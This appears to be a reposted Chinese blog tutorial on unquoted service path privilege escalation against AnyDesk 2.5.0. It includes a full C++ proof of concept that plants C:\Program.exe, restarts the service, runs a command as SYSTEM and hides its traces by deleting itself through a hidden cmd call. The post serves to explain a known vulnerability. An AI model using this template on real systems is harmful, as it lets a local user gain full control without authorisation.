不带引号的服务路径的提权探索

Posted persuit

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了不带引号的服务路径的提权探索相关的知识,希望对你有一定的参考价值。

前言:
     前几天逛exploit-db,看到一个文章《AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation》,大概描述内容如下:

1. Description:
 
The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

 看完这描述,没有明白,为什么服务路径没有加引号会造成权限提升呢?于是自己手动查询了俩服务对比对比:

对比后大概了解:

BINARY_PATH_NAME 如果没有加双引号的话,在启用服务过程中查询路径的时候,遇上空格会造成截断,那么利用思路就出来了,在C:\\Program Files\\(程序路径,我本机是安装在C盘)这个目录的同级目录 也就是C:\\ 放置一个Program的程序,启用服务的过程中是不是就加载了这个程序呢?

实验过程:

    既然思路有了,那么就写一个程序试试吧,程序实现思路如下:

   1:执行命令(这里执行whoami,查看运行权限)

   2:运行完毕后删除自身(因为服务加载了Program程序时候,就启用不了正常服务了,删除自身后可以保证重新启用程序时候服务能正常启用)

代码如下:

#include <iostream>
#include <cstdlib>
#include <string>
#include <windows.h>   
#include <shellapi.h>  
#include <shlobj.h>  

#define SVCNAME TEXT("AnyDesk")

#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "advapi32.lib")
using namespace std;


/* 启动服务函数 */
VOID __stdcall DoStartSvc()
{
    SERVICE_STATUS_PROCESS ssStatus; 
    DWORD        dwOldCheckPoint; 
    DWORD        dwStartTickCount;
    DWORD        dwWaitTime;
    DWORD        dwBytesNeeded;
    SC_HANDLE    schSCManager;
    SC_HANDLE    schService;

    // Get a handle to the SCM database. 
 
    schSCManager = OpenSCManager( 
        NULL,                    // local computer
        NULL,                    // servicesActive database 
        SERVICE_START | SERVICE_QUERY_STATUS | SERVICE_STOP);  // full access rights 
 
    if (NULL == schSCManager) 
    {
        printf("OpenSCManager failed (%d)\\n", GetLastError());
        return;
    }

    // Get a handle to the service.

    schService = OpenService( 
        schSCManager,         // SCM database 
        SVCNAME,            // name of service 
        SERVICE_ALL_ACCESS);  // full access 
 
    if (schService == NULL)
    { 
        printf("OpenService failed (%d)\\n", GetLastError()); 
        CloseServiceHandle(schSCManager);
        return;
    }    

    // Check the status in case the service is not stopped. 

    if (!QueryServiceStatusEx( 
            schService,                     // handle to service 
            SC_STATUS_PROCESS_INFO,         // information level
            (LPBYTE) &ssStatus,             // address of structure
            sizeof(SERVICE_STATUS_PROCESS), // size of structure
            &dwBytesNeeded ) )              // size needed if buffer is too small
    {
        printf("QueryServiceStatusEx failed (%d)\\n", GetLastError());
        CloseServiceHandle(schService); 
        CloseServiceHandle(schSCManager);
        return; 
    }

    // Check if the service is already running. It would be possible 
    // to stop the service here, but for simplicity this example just returns. 

    if(ssStatus.dwCurrentState != SERVICE_STOPPED && ssStatus.dwCurrentState != SERVICE_STOP_PENDING)
    {
        printf("Cannot start the service because it is already running\\n");
        CloseServiceHandle(schService); 
        CloseServiceHandle(schSCManager);
        return; 
    }

    // Save the tick count and initial checkpoint.

    dwStartTickCount = GetTickCount();
    dwOldCheckPoint = ssStatus.dwCheckPoint;

    // Wait for the service to stop before attempting to start it.

    while (ssStatus.dwCurrentState == SERVICE_STOP_PENDING)
    {
        // Do not wait longer than the wait hint. A good interval is 
        // one-tenth of the wait hint but not less than 1 second  
        // and not more than 10 seconds. 
 
        dwWaitTime = ssStatus.dwWaitHint / 10;

        if( dwWaitTime < 1000 )
            dwWaitTime = 1000;
        else if ( dwWaitTime > 10000 )
            dwWaitTime = 10000;

        Sleep( dwWaitTime );

        // Check the status until the service is no longer stop pending. 
 
        if (!QueryServiceStatusEx( 
                schService,                     // handle to service 
                SC_STATUS_PROCESS_INFO,         // information level
                (LPBYTE) &ssStatus,             // address of structure
                sizeof(SERVICE_STATUS_PROCESS), // size of structure
                &dwBytesNeeded ) )              // size needed if buffer is too small
        {
            printf("QueryServiceStatusEx failed (%d)\\n", GetLastError());
            CloseServiceHandle(schService); 
            CloseServiceHandle(schSCManager);
            return; 
        }

        if ( ssStatus.dwCheckPoint > dwOldCheckPoint )
        {
            // Continue to wait and check.

            dwStartTickCount = GetTickCount();
            dwOldCheckPoint = ssStatus.dwCheckPoint;
        }
        else
        {
            if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)
            {
                printf("Timeout waiting for service to stop\\n");
                CloseServiceHandle(schService); 
                CloseServiceHandle(schSCManager);
                return; 
            }
        }
    }

    // Attempt to start the service.

    if (!StartService(
            schService,  // handle to service 
            0,           // number of arguments 
            NULL) )      // no arguments 
    {
        printf("StartService failed (%d)\\n", GetLastError());
        CloseServiceHandle(schService); 
        CloseServiceHandle(schSCManager);
        return; 
    }
    else printf("Service start pending...\\n"); 

    // Check the status until the service is no longer start pending. 
 
    if (!QueryServiceStatusEx( 
            schService,                     // handle to service 
            SC_STATUS_PROCESS_INFO,         // info level
            (LPBYTE) &ssStatus,             // address of structure
            sizeof(SERVICE_STATUS_PROCESS), // size of structure
            &dwBytesNeeded ) )              // if buffer too small
    {
        printf("QueryServiceStatusEx failed (%d)\\n", GetLastError());
        CloseServiceHandle(schService); 
        CloseServiceHandle(schSCManager);
        return; 
    }
 
    // Save the tick count and initial checkpoint.

    dwStartTickCount = GetTickCount();
    dwOldCheckPoint = ssStatus.dwCheckPoint;

    while (ssStatus.dwCurrentState == SERVICE_START_PENDING) 
    { 
        // Do not wait longer than the wait hint. A good interval is 
        // one-tenth the wait hint, but no less than 1 second and no 
        // more than 10 seconds. 
 
        dwWaitTime = ssStatus.dwWaitHint / 10;

        if( dwWaitTime < 1000 )
            dwWaitTime = 1000;
        else if ( dwWaitTime > 10000 )
            dwWaitTime = 10000;

        Sleep( dwWaitTime );

        // Check the status again. 
 
        if (!QueryServiceStatusEx( 
            schService,             // handle to service 
            SC_STATUS_PROCESS_INFO, // info level
            (LPBYTE) &ssStatus,             // address of structure
            sizeof(SERVICE_STATUS_PROCESS), // size of structure
            &dwBytesNeeded ) )              // if buffer too small
        {
            printf("QueryServiceStatusEx failed (%d)\\n", GetLastError());
            break; 
        }
 
        if ( ssStatus.dwCheckPoint > dwOldCheckPoint )
        {
            // Continue to wait and check.

            dwStartTickCount = GetTickCount();
            dwOldCheckPoint = ssStatus.dwCheckPoint;
        }
        else
        {
            if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)
            {
                // No progress made within the wait hint.
                break;
            }
        }
    } 

    // Determine whether the service is running.

    if (ssStatus.dwCurrentState == SERVICE_RUNNING) 
    {
        printf("Service started successfully.\\n"); 
    }
    else 
    { 
        printf("Service not started. \\n");
        printf("  Current State: %d\\n", ssStatus.dwCurrentState); 
        printf("  Exit Code: %d\\n", ssStatus.dwWin32ExitCode); 
        printf("  Check Point: %d\\n", ssStatus.dwCheckPoint); 
        printf("  Wait Hint: %d\\n", ssStatus.dwWaitHint); 
    } 

    CloseServiceHandle(schService); 
    CloseServiceHandle(schSCManager);
}

/* 运行后删除自身函数 */
void DeleteApplicationSelf()  
{  
    char szCommandLine[MAX_PATH + 10];  
          
    //设置本程序进程基本为实时执行,快速退出。  
    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);  
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);  
    //通知资源管理器不显示本程序,当然如果程序没有真正的删除,刷新资源管理器后仍会显示出来的。  
    SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL);  
          
    //调用cmd传入参数以删除自己  
    char szFilePath[MAX_PATH];  
    sprintf(szFilePath, "\\"%s\\"", _pgmptr);  
    sprintf(szCommandLine, "/c del /q %s", szFilePath);  
    ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE);  
          
    ExitProcess(0);  
}  

int main()
{
    DoStartSvc();
    string cmd = "whoami > 123.txt";
    system(cmd.c_str());
    DeleteApplicationSelf();
    return 0;
}

 

编译程序测试:

  1:将程序命名为Program.exe放置在C盘

  2:启用anydesk

  

这里弹出警告:提示服务没能启动起来,这个不要紧,Program.exe已经自删除,关掉重新打开就能正常启用了。

  3:查看结果,成功提权。

 

参考:

  https://www.exploit-db.com/exploits/40410/

 

以上是关于不带引号的服务路径的提权探索的主要内容,如果未能解决你的问题,请参考以下文章

峰回路转的提权08r2服务器

windows提权

Windows提权方法大全汇总(值的收藏)

mysql常用的提权方法

CVE-2017-0213 | 记一次失败的提权经历

[技术分享]借用UAC完成的提权思路分享